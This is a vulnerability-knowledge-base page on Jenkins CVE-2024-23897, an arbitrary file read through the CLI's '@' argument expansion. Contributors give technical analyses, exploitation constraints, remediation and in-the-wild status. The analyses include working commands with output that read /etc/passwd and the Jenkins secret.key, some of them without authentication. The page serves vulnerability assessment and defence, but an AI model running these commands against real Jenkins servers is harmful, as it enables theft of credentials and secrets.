High
CVE-2024-23897
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-23897
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
CVE-2024-23897: Jenkins Arbitrary File Read Vulnerability
Overview
CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.
Description
When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @
character followed by a file path in an argument with the contents of that file (expandAtFiles
). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.
Implications
A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.
Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:
- Remote code execution via Resource Root URLs.
- Remote code execution through “Remember me” cookies.
- Remote code execution via stored cross-site scripting (XSS) attacks in build logs.
- Remote code execution by bypassing CSRF protection.
- Decrypting secrets stored in Jenkins.
- Deleting any item in Jenkins.
- Downloading a Java heap dump.
Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.
Cybersecurity
This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.
Discovering Jenkins Version
To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl
command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.
Command:
curl -I http://jenkins.website.com:8080 HTTP/1.1 403 Forbidden Date: Fri, 26 Jan 2024 03:20:33 GMT X-Content-Type-Options: nosniff Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html;charset=utf-8 X-Hudson: 1.395 X-Jenkins: 2.426.2 X-Jenkins-Session: f03ec4ab Transfer-Encoding: chunked Server: Jetty(10.0.18)
The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.
Downloading and Using the Jenkins CLI
First, we need to download the CLI tool for Jenkins:
wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar
To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help
Here are the commands that I can execute:
Job Management
add-job-to-view
: Add jobs to a specific view.
build
: Build a job and optionally wait for its completion.
copy-job
: Copy an existing job.
create-job
: Create a new job with XML configuration input.
delete-builds
: Delete specific build records.
delete-job
: Delete one or more jobs.
disable-job
: Disable a specified job.
enable-job
: Enable a specified job.
get-job
: Output the job definition XML.
keep-build
: Mark a build to keep it permanently.
list-jobs
: List all jobs in a specific view or item group.
reload-job
: Reload job definitions.
remove-job-from-view
: Remove jobs from a specific view.
update-job
: Update job definition using XML input.
Node Management
connect-node
: Reconnect to one or more nodes.
create-node
: Create a new node with XML configuration.
delete-node
: Delete one or more nodes.
disconnect-node
: Disconnect from a node.
get-node
: Output the node definition XML.
offline-node
: Temporarily stop using a node.
online-node
: Resume using a node.
update-node
: Update node definition using XML input.
wait-node-offline
: Wait for a node to go offline.
wait-node-online
: Wait for a node to come online.
Plugin Management
disable-plugin
: Disable one or more plugins.
enable-plugin
: Enable one or more plugins.
install-plugin
: Install a plugin from a file, URL, or update center.
list-plugins
: List all installed plugins.
View Management
create-view
: Create a new view with XML configuration.
delete-view
: Delete one or more views.
get-view
: Output the view definition XML.
update-view
: Update view definition using XML input.
Credentials Management
create-credentials-by-xml
: Create credentials using XML.
create-credentials-domain-by-xml
: Create a credentials domain using XML.
delete-credentials
: Delete specific credentials.
delete-credentials-domain
: Delete a credentials domain.
get-credentials-as-xml
: Get credentials as XML (secrets redacted).
get-credentials-domain-as-xml
: Get a credentials domain as XML.
import-credentials-as-xml
: Import credentials using XML.
list-credentials
: List credentials in a specific store.
list-credentials-as-xml
: Export credentials as XML.
update-credentials-by-xml
: Update credentials using XML.
update-credentials-domain-by-xml
: Update a credentials domain using XML.
Build and Script Management
console
: Retrieve console output of a build.
declarative-linter
: Validate a Jenkinsfile with a Declarative Pipeline.
groovy
: Execute a specified Groovy script.
groovysh
: Run an interactive Groovy shell.
list-changes
: Dump the changelog for specific builds.
replay-pipeline
: Replay a Pipeline build with edited script.
restart-from-stage
: Restart a completed Pipeline build from a stage.
set-build-description
: Set the description of a build.
set-build-display-name
: Set the display name of a build.
stop-builds
: Stop all running builds for specific jobs.
System and Configuration Management
cancel-quiet-down
: Cancel the quiet-down mode.
clear-queue
: Clear the build queue.
help
: List all available commands or detailed description of a single command.
mail
: Send an email with input from stdin.
quiet-down
: Prepare Jenkins for restart by not starting new builds.
reload-configuration
: Reload all data from the file system.
restart
: Restart Jenkins.
safe-restart
: Safely restart Jenkins without starting new builds.
safe-shutdown
: Shut down Jenkins after completing existing builds.
session-id
: Output the current session ID.
shutdown
: Immediately shut down Jenkins server.
version
: Output the current version of Jenkins.
who-am-i
: Report user credentials and permissions.
Subsequently, I randomly used a get
function:
java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'
Great, I can now read files, but the question remains about unauthenticated access.
java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error. # (Error stack trace omitted for brevity) Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.
So, I decided to test all the commands without authentication.
for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done
I received some responses from a few commands without authentication.
disable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
enable-job
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
help
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
safe-shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
shutdown
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
who-am-i
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.
java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09
Here the secret key of my jenkin.
Remediation Section
Update Jenkins
To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.
Author Information
Author: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueMedium
-
ExploitabilityHigh
Technical Analysis
Looking into this vulnerability, there are a number of factors to consider when gauging exploitability. Horizion3ai have a good blog post going into detail on this, and the original vendor advisory also goes into detail on the constraints of successful exploitation.
While the vulnerability does allow for arbitrary file reading, there are several constraints that may make an attackers ability to read arbitrary files less likely to succeed. The main factors are the privileges the attacker has on the target Jenkins system (if any), the target platform that Jenkins is running on, and the type of file the attacker wants to read. Finally, based on what the attacker can successfully read, the attacker must then leverage this somehow, e.g. if they read an encrypted password, are they able to crack it? If they read a secret key from a text file, do they also need to successfully read encrypted binary files?
At a minimum, an unauthenticated attacker can read up to 3 lines of an arbitrary text file, for example the following 3 CLI requests will return the first, second and third line of the text file /etc/passwd
(Jenkins is running in a docker container for this example). The CLI command who-am-i
, enable-job
, and keep-build
are used to read the first, second and third line numbers respectively – although other commands such as help
will return the first and second line of a file.
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 who-am-i @/etc/passwd ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash java -jar jenkins-cli.jar who-am-i Reports your credential and permissions.
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 enable-job @/etc/passwd ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin java -jar jenkins-cli.jar enable-job NAME Enables a job. NAME : Job name
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 keep-build @/etc/passwd ERROR: Too many arguments: bin:x:2:2:bin:/bin:/usr/sbin/nologin java -jar jenkins-cli.jar keep-build NAME BUILD# Mark the build to keep the build forever. NAME : Item name BUILD# : Build number
The first 3 lines of the file can then be reconstituted as follows:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
If an attacker has an account with Overall/Read
permission on the target Jenkins system, the entire contents of a text file can be read, via the CLI command connect-node
, as shown below:
Note: When leveraging the CLI command connect-node
, the returned lines of text are displayed out of order to that of the original file.
$ java -jar jenkins-cli.jar -auth admin:qwerty12345 -s http://192.168.86.70:8080 connect-node @/etc/passwd www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists. root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists. _apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists. bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists. irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists. jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists. games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists. sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists. sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists. ERROR: Error occurred while performing this command, see previous stderr output.
The issue is complicated further if the attacker wants to read a binary file, as the target systems string encoding method may remove unsupported bytes in the string output. As noted in the original vendor advisory, Linux will use UTF-8 by default which may remove as much as 50% of all encoded characters, while Windows uses Windows-1252 which will remove only 5 out of the 256 possible byte values being returned.
The vendor advisory gives several examples of how to leverage this vulnerability to achieve something (such as RCE), but they all require the ability to successfully read a binary file. While not impossible, in may scenarios it may not be practical for an attacker to achieve this. The Horizion3ai blog also has some good detail on these constraints too.
We can summarize the constraints an attacker will face when exploiting this vulnerability with the following table:
Note, “Authenticated” in this context means an attacker has privileges on the Jenkins system with the Overall/Read
permission.
Attacker Privileges | File Type | Target Platform | Impact |
---|---|---|---|
Unauthenticated | Text | Linux | Can read the first 3 lines of any text file |
Unauthenticated | Text | Windows | Can read the first 3 lines of any text file |
Unauthenticated | Binary | Linux | Can read some contents, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely |
Unauthenticated | Binary | Windows | Can read some contents, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart |
Authenticated | Text | Linux | Can read the entire contents of any text file |
Authenticated | Text | Windows | Can read the entire contents of any text file |
Authenticated | Binary | Linux | Can read the entire contents of any file, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely |
Authenticated | Binary | Windows | Can read the entire contents of any file, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart |
It is currently unknown if an unauthenticated attacker can compromise a Jenkins system by only reading the first 3 lines of a text file via this vulnerability.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
Technical Analysis
(Edit August 22, 2024: This is now on CISA KEV and is listed as observed in ransomware attacks.)
There seems to only be one main (public) report of exploitation that folks are quoting for this CVE, but the UC Berkeley researcher’s statement indicated fairly high confidence that they were seeing actual exploitation against honeypots, not just scanning.
Notably, this vuln is not on CISA KEV as of August 2024, which may mean there wasn’t enough evidence to definitively confirm successful in-the-wild attacks. I’ve also not seen any public reports of EITW against production systems. Multiple public PoCs were available as of January 2024 (some testing notes from the Splunk team here). A Metasploit modules is also available.
We’ve seen attacks on CI/CD pipelines and tooling escalate the past year or two, so I’d expect bugs like this to get at least triage and recon attention from adversaries, including APTs.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- jenkins
Products
- jenkins
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Thanks a lot Maxime for this excellent detailed analysis!